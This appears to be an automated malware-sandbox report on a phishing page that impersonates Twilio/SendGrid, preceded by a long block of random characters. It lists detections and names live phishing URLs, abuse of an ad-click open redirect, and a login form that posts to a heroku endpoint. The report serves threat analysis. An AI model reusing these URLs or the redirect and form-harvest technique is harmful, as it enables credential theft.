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	Joe Sandbox AI: Score: 8 Reasons: The brand 'Twilio' is well-known and has a legitimate domain 'twilio.com'., The URL '87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net' does not match the legitimate domain., The URL is hosted on 'azurefd.net', which is a domain associated with Azure Front Door, a legitimate cloud service provider., The subdomain '87436t6782368723687-b7a5f9dfbgeah0gt' is suspicious due to its random alphanumeric string, which is a common tactic in phishing URLs., The presence of a well-known brand name like 'Twilio' on a non-matching domain is a common phishing tactic. DOM: 1.1.pages.csv

Yara detected HtmlPhish44

Source: Yara match

File source: dropped/chromecache_65, type: DROPPED

Yara detected obfuscated html page

Source: Yara match

File source: dropped/chromecache_65, type: DROPPED

AI detected suspicious Javascript

Source: 1.6..script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: https://87436t6782368723687-b7a5f9dfbgeah0gt.z02.a... This script demonstrates several high-risk behaviors, including data exfiltration, dynamic code execution, and interaction with suspicious domains. The script collects user credentials and sends them to external servers, which is a clear indicator of malicious intent. Additionally, the script uses obfuscated URLs and redirects users to potentially phishing domains. Overall, this script poses a significant security risk and should be treated with caution.

Detected use of open redirect vulnerability

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Proxy from: googleads.g.doubleclick.net/pcs/click?adurl=https://87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net to https://87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Proxy from: googleads.g.doubleclick.net/pcs/click?adurl=https://87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net to https://87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net

Source: https://87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net/WliLvSwyNktRLuny5DTDqoVJk1yWTdKM7XU1x0QgMkli7zjQfiQdLN0SGpGU7r0dQGdyCxo1ZwbT7RfvQmT3yXt2OrzBGOGYvZo9xRAEMM8sUngSf5SVdSaudYfFhmwlxcx2Spbo4oFKY8VkYdzrOwjylxilrJWNSlF1ccBWkfXwPOQWEYCX6OvhfwaewQBZWymtkRAc7nesPoDeROaIZHigBf1LbMNjrQCMwsJM57FDN8tx5AcANgBy8FoF5m1MDEYCxxyjmChRJ2FEfzCo9xWcugF72kt8vXqISiV0H42QY70B80NYEVcOQArqOPzP8wmIK93W9NrgTyqbNLsUBcgoeEAZyHNcbelIQFdUhvlw4fqAIXCcjMb5RLOmNlBEY6iOJr3DSVX6T9B3DUGFmLUSvOaDd07ESDlGGzhPllZBsz4T4kLfNkntF5BZ9M8IqAcQBQfwRXh4MfxaP7X8RTYApODLZlbtLSWJaRTKruYOQTIVFd87ANCSwbmAew7zelRFS79LzTcj4GzEPsamIoNu7l0S74OL9GjeAJZxV1JK4YErZdIlKqWZAmrTlGMIICEaynyTM1dw3PLqecc7yYyaEHKyqvTliLyFPt9DbO6nOuyRiv1j2vf8g1XlPv08cF3auuvaDPdC6TVB5XZj2utvQ3zmw3N8cMM1afu8gPe4TM5UkVSrjZdzJ8u9bKL2na9mcb5YEmeBuAe0ib1arSsupRS9xRCOaCeGd3rrDi5Fd4bH9dbvpo1NbnpKxc9HPMzqea6bPhBqRgyVWPmkRQejUfh9hQsGn7oGa1u8jm7DEJDGQkBDkb0SEZH8WMzVQs7qyj7lzvOiEgscK87YVvq0X5cG2A28RrkZlILiBDdeVxTBu0nQLfAYR1ehlHP8eoA5hXj6FhWmLt5hpdit3udUxj903InaGNdmnJ1CqySZLG7JMk6dxsPLJYyTHFX8JFI...	HTTP Parser: Form action: https://www.heroku.com/sendgridapp/secure.php azurefd heroku
Source: https://87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net/WliLvSwyNktRLuny5DTDqoVJk1yWTdKM7XU1x0QgMkli7zjQfiQdLN0SGpGU7r0dQGdyCxo1ZwbT7RfvQmT3yXt2OrzBGOGYvZo9xRAEMM8sUngSf5SVdSaudYfFhmwlxcx2Spbo4oFKY8VkYdzrOwjylxilrJWNSlF1ccBWkfXwPOQWEYCX6OvhfwaewQBZWymtkRAc7nesPoDeROaIZHigBf1LbMNjrQCMwsJM57FDN8tx5AcANgBy8FoF5m1MDEYCxxyjmChRJ2FEfzCo9xWcugF72kt8vXqISiV0H42QY70B80NYEVcOQArqOPzP8wmIK93W9NrgTyqbNLsUBcgoeEAZyHNcbelIQFdUhvlw4fqAIXCcjMb5RLOmNlBEY6iOJr3DSVX6T9B3DUGFmLUSvOaDd07ESDlGGzhPllZBsz4T4kLfNkntF5BZ9M8IqAcQBQfwRXh4MfxaP7X8RTYApODLZlbtLSWJaRTKruYOQTIVFd87ANCSwbmAew7zelRFS79LzTcj4GzEPsamIoNu7l0S74OL9GjeAJZxV1JK4YErZdIlKqWZAmrTlGMIICEaynyTM1dw3PLqecc7yYyaEHKyqvTliLyFPt9DbO6nOuyRiv1j2vf8g1XlPv08cF3auuvaDPdC6TVB5XZj2utvQ3zmw3N8cMM1afu8gPe4TM5UkVSrjZdzJ8u9bKL2na9mcb5YEmeBuAe0ib1arSsupRS9xRCOaCeGd3rrDi5Fd4bH9dbvpo1NbnpKxc9HPMzqea6bPhBqRgyVWPmkRQejUfh9hQsGn7oGa1u8jm7DEJDGQkBDkb0SEZH8WMzVQs7qyj7lzvOiEgscK87YVvq0X5cG2A28RrkZlILiBDdeVxTBu0nQLfAYR1ehlHP8eoA5hXj6FhWmLt5hpdit3udUxj903InaGNdmnJ1CqySZLG7JMk6dxsPLJYyTHFX8JFI...	HTTP Parser: Form action: https://www.heroku.com/sendgridapp/secure.php azurefd heroku
Source: https://87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net/WliLvSwyNktRLuny5DTDqoVJk1yWTdKM7XU1x0QgMkli7zjQfiQdLN0SGpGU7r0dQGdyCxo1ZwbT7RfvQmT3yXt2OrzBGOGYvZo9xRAEMM8sUngSf5SVdSaudYfFhmwlxcx2Spbo4oFKY8VkYdzrOwjylxilrJWNSlF1ccBWkfXwPOQWEYCX6OvhfwaewQBZWymtkRAc7nesPoDeROaIZHigBf1LbMNjrQCMwsJM57FDN8tx5AcANgBy8FoF5m1MDEYCxxyjmChRJ2FEfzCo9xWcugF72kt8vXqISiV0H42QY70B80NYEVcOQArqOPzP8wmIK93W9NrgTyqbNLsUBcgoeEAZyHNcbelIQFdUhvlw4fqAIXCcjMb5RLOmNlBEY6iOJr3DSVX6T9B3DUGFmLUSvOaDd07ESDlGGzhPllZBsz4T4kLfNkntF5BZ9M8IqAcQBQfwRXh4MfxaP7X8RTYApODLZlbtLSWJaRTKruYOQTIVFd87ANCSwbmAew7zelRFS79LzTcj4GzEPsamIoNu7l0S74OL9GjeAJZxV1JK4YErZdIlKqWZAmrTlGMIICEaynyTM1dw3PLqecc7yYyaEHKyqvTliLyFPt9DbO6nOuyRiv1j2vf8g1XlPv08cF3auuvaDPdC6TVB5XZj2utvQ3zmw3N8cMM1afu8gPe4TM5UkVSrjZdzJ8u9bKL2na9mcb5YEmeBuAe0ib1arSsupRS9xRCOaCeGd3rrDi5Fd4bH9dbvpo1NbnpKxc9HPMzqea6bPhBqRgyVWPmkRQejUfh9hQsGn7oGa1u8jm7DEJDGQkBDkb0SEZH8WMzVQs7qyj7lzvOiEgscK87YVvq0X5cG2A28RrkZlILiBDdeVxTBu0nQLfAYR1ehlHP8eoA5hXj6FhWmLt5hpdit3udUxj903InaGNdmnJ1CqySZLG7JMk6dxsPLJYyTHFX8JFI...	HTTP Parser: Form action: https://www.heroku.com/sendgridapp/secure.php azurefd heroku
Source: https://87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net/WliLvSwyNktRLuny5DTDqoVJk1yWTdKM7XU1x0QgMkli7zjQfiQdLN0SGpGU7r0dQGdyCxo1ZwbT7RfvQmT3yXt2OrzBGOGYvZo9xRAEMM8sUngSf5SVdSaudYfFhmwlxcx2Spbo4oFKY8VkYdzrOwjylxilrJWNSlF1ccBWkfXwPOQWEYCX6OvhfwaewQBZWymtkRAc7nesPoDeROaIZHigBf1LbMNjrQCMwsJM57FDN8tx5AcANgBy8FoF5m1MDEYCxxyjmChRJ2FEfzCo9xWcugF72kt8vXqISiV0H42QY70B80NYEVcOQArqOPzP8wmIK93W9NrgTyqbNLsUBcgoeEAZyHNcbelIQFdUhvlw4fqAIXCcjMb5RLOmNlBEY6iOJr3DSVX6T9B3DUGFmLUSvOaDd07ESDlGGzhPllZBsz4T4kLfNkntF5BZ9M8IqAcQBQfwRXh4MfxaP7X8RTYApODLZlbtLSWJaRTKruYOQTIVFd87ANCSwbmAew7zelRFS79LzTcj4GzEPsamIoNu7l0S74OL9GjeAJZxV1JK4YErZdIlKqWZAmrTlGMIICEaynyTM1dw3PLqecc7yYyaEHKyqvTliLyFPt9DbO6nOuyRiv1j2vf8g1XlPv08cF3auuvaDPdC6TVB5XZj2utvQ3zmw3N8cMM1afu8gPe4TM5UkVSrjZdzJ8u9bKL2na9mcb5YEmeBuAe0ib1arSsupRS9xRCOaCeGd3rrDi5Fd4bH9dbvpo1NbnpKxc9HPMzqea6bPhBqRgyVWPmkRQejUfh9hQsGn7oGa1u8jm7DEJDGQkBDkb0SEZH8WMzVQs7qyj7lzvOiEgscK87YVvq0X5cG2A28RrkZlILiBDdeVxTBu0nQLfAYR1ehlHP8eoA5hXj6FhWmLt5hpdit3udUxj903InaGNdmnJ1CqySZLG7JMk6dxsPLJYyTHFX8JFI...	HTTP Parser: Form action: https://www.heroku.com/sendgridapp/secure.php azurefd heroku

Source: https://87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net/WliLvSwyNktRLuny5DTDqoVJk1yWTdKM7XU1x0QgMkli7zjQfiQdLN0SGpGU7r0dQGdyCxo1ZwbT7RfvQmT3yXt2OrzBGOGYvZo9xRAEMM8sUngSf5SVdSaudYfFhmwlxcx2Spbo4oFKY8VkYdzrOwjylxilrJWNSlF1ccBWkfXwPOQWEYCX6OvhfwaewQBZWymtkRAc7nesPoDeROaIZHigBf1LbMNjrQCMwsJM57FDN8tx5AcANgBy8FoF5m1MDEYCxxyjmChRJ2FEfzCo9xWcugF72kt8vXqISiV0H42QY70B80NYEVcOQArqOPzP8wmIK93W9NrgTyqbNLsUBcgoeEAZyHNcbelIQFdUhvlw4fqAIXCcjMb5RLOmNlBEY6iOJr3DSVX6T9B3DUGFmLUSvOaDd07ESDlGGzhPllZBsz4T4kLfNkntF5BZ9M8IqAcQBQfwRXh4MfxaP7X8RTYApODLZlbtLSWJaRTKruYOQTIVFd87ANCSwbmAew7zelRFS79LzTcj4GzEPsamIoNu7l0S74OL9GjeAJZxV1JK4YErZdIlKqWZAmrTlGMIICEaynyTM1dw3PLqecc7yYyaEHKyqvTliLyFPt9DbO6nOuyRiv1j2vf8g1XlPv08cF3auuvaDPdC6TVB5XZj2utvQ3zmw3N8cMM1afu8gPe4TM5UkVSrjZdzJ8u9bKL2na9mcb5YEmeBuAe0ib1arSsupRS9xRCOaCeGd3rrDi5Fd4bH9dbvpo1NbnpKxc9HPMzqea6bPhBqRgyVWPmkRQejUfh9hQsGn7oGa1u8jm7DEJDGQkBDkb0SEZH8WMzVQs7qyj7lzvOiEgscK87YVvq0X5cG2A28RrkZlILiBDdeVxTBu0nQLfAYR1ehlHP8eoA5hXj6FhWmLt5hpdit3udUxj903InaGNdmnJ1CqySZLG7JMk6dxsPLJYyTHFX8JFI...

HTTP Parser: Number of links: 0

HTTP Parser: Base64 decoded: <?xml version="1.0" encoding="utf-8"?><svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y...

HTTP Parser: Title: SendGrid does not match URL

Source: https://87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net/WliLvSwyNktRLuny5DTDqoVJk1yWTdKM7XU1x0QgMkli7zjQfiQdLN0SGpGU7r0dQGdyCxo1ZwbT7RfvQmT3yXt2OrzBGOGYvZo9xRAEMM8sUngSf5SVdSaudYfFhmwlxcx2Spbo4oFKY8VkYdzrOwjylxilrJWNSlF1ccBWkfXwPOQWEYCX6OvhfwaewQBZWymtkRAc7nesPoDeROaIZHigBf1LbMNjrQCMwsJM57FDN8tx5AcANgBy8FoF5m1MDEYCxxyjmChRJ2FEfzCo9xWcugF72kt8vXqISiV0H42QY70B80NYEVcOQArqOPzP8wmIK93W9NrgTyqbNLsUBcgoeEAZyHNcbelIQFdUhvlw4fqAIXCcjMb5RLOmNlBEY6iOJr3DSVX6T9B3DUGFmLUSvOaDd07ESDlGGzhPllZBsz4T4kLfNkntF5BZ9M8IqAcQBQfwRXh4MfxaP7X8RTYApODLZlbtLSWJaRTKruYOQTIVFd87ANCSwbmAew7zelRFS79LzTcj4GzEPsamIoNu7l0S74OL9GjeAJZxV1JK4YErZdIlKqWZAmrTlGMIICEaynyTM1dw3PLqecc7yYyaEHKyqvTliLyFPt9DbO6nOuyRiv1j2vf8g1XlPv08cF3auuvaDPdC6TVB5XZj2utvQ3zmw3N8cMM1afu8gPe4TM5UkVSrjZdzJ8u9bKL2na9mcb5YEmeBuAe0ib1arSsupRS9xRCOaCeGd3rrDi5Fd4bH9dbvpo1NbnpKxc9HPMzqea6bPhBqRgyVWPmkRQejUfh9hQsGn7oGa1u8jm7DEJDGQkBDkb0SEZH8WMzVQs7qyj7lzvOiEgscK87YVvq0X5cG2A28RrkZlILiBDdeVxTBu0nQLfAYR1ehlHP8eoA5hXj6FhWmLt5hpdit3udUxj903InaGNdmnJ1CqySZLG7JMk6dxsPLJYyTHFX8JFI...	HTTP Parser: Form action: https://www.heroku.com/sendgridapp/secure.php
Source: https://87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net/WliLvSwyNktRLuny5DTDqoVJk1yWTdKM7XU1x0QgMkli7zjQfiQdLN0SGpGU7r0dQGdyCxo1ZwbT7RfvQmT3yXt2OrzBGOGYvZo9xRAEMM8sUngSf5SVdSaudYfFhmwlxcx2Spbo4oFKY8VkYdzrOwjylxilrJWNSlF1ccBWkfXwPOQWEYCX6OvhfwaewQBZWymtkRAc7nesPoDeROaIZHigBf1LbMNjrQCMwsJM57FDN8tx5AcANgBy8FoF5m1MDEYCxxyjmChRJ2FEfzCo9xWcugF72kt8vXqISiV0H42QY70B80NYEVcOQArqOPzP8wmIK93W9NrgTyqbNLsUBcgoeEAZyHNcbelIQFdUhvlw4fqAIXCcjMb5RLOmNlBEY6iOJr3DSVX6T9B3DUGFmLUSvOaDd07ESDlGGzhPllZBsz4T4kLfNkntF5BZ9M8IqAcQBQfwRXh4MfxaP7X8RTYApODLZlbtLSWJaRTKruYOQTIVFd87ANCSwbmAew7zelRFS79LzTcj4GzEPsamIoNu7l0S74OL9GjeAJZxV1JK4YErZdIlKqWZAmrTlGMIICEaynyTM1dw3PLqecc7yYyaEHKyqvTliLyFPt9DbO6nOuyRiv1j2vf8g1XlPv08cF3auuvaDPdC6TVB5XZj2utvQ3zmw3N8cMM1afu8gPe4TM5UkVSrjZdzJ8u9bKL2na9mcb5YEmeBuAe0ib1arSsupRS9xRCOaCeGd3rrDi5Fd4bH9dbvpo1NbnpKxc9HPMzqea6bPhBqRgyVWPmkRQejUfh9hQsGn7oGa1u8jm7DEJDGQkBDkb0SEZH8WMzVQs7qyj7lzvOiEgscK87YVvq0X5cG2A28RrkZlILiBDdeVxTBu0nQLfAYR1ehlHP8eoA5hXj6FhWmLt5hpdit3udUxj903InaGNdmnJ1CqySZLG7JMk6dxsPLJYyTHFX8JFI...	HTTP Parser: Form action: https://www.heroku.com/sendgridapp/secure.php
Source: https://87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net/WliLvSwyNktRLuny5DTDqoVJk1yWTdKM7XU1x0QgMkli7zjQfiQdLN0SGpGU7r0dQGdyCxo1ZwbT7RfvQmT3yXt2OrzBGOGYvZo9xRAEMM8sUngSf5SVdSaudYfFhmwlxcx2Spbo4oFKY8VkYdzrOwjylxilrJWNSlF1ccBWkfXwPOQWEYCX6OvhfwaewQBZWymtkRAc7nesPoDeROaIZHigBf1LbMNjrQCMwsJM57FDN8tx5AcANgBy8FoF5m1MDEYCxxyjmChRJ2FEfzCo9xWcugF72kt8vXqISiV0H42QY70B80NYEVcOQArqOPzP8wmIK93W9NrgTyqbNLsUBcgoeEAZyHNcbelIQFdUhvlw4fqAIXCcjMb5RLOmNlBEY6iOJr3DSVX6T9B3DUGFmLUSvOaDd07ESDlGGzhPllZBsz4T4kLfNkntF5BZ9M8IqAcQBQfwRXh4MfxaP7X8RTYApODLZlbtLSWJaRTKruYOQTIVFd87ANCSwbmAew7zelRFS79LzTcj4GzEPsamIoNu7l0S74OL9GjeAJZxV1JK4YErZdIlKqWZAmrTlGMIICEaynyTM1dw3PLqecc7yYyaEHKyqvTliLyFPt9DbO6nOuyRiv1j2vf8g1XlPv08cF3auuvaDPdC6TVB5XZj2utvQ3zmw3N8cMM1afu8gPe4TM5UkVSrjZdzJ8u9bKL2na9mcb5YEmeBuAe0ib1arSsupRS9xRCOaCeGd3rrDi5Fd4bH9dbvpo1NbnpKxc9HPMzqea6bPhBqRgyVWPmkRQejUfh9hQsGn7oGa1u8jm7DEJDGQkBDkb0SEZH8WMzVQs7qyj7lzvOiEgscK87YVvq0X5cG2A28RrkZlILiBDdeVxTBu0nQLfAYR1ehlHP8eoA5hXj6FhWmLt5hpdit3udUxj903InaGNdmnJ1CqySZLG7JMk6dxsPLJYyTHFX8JFI...	HTTP Parser: Form action: https://www.heroku.com/sendgridapp/secure.php
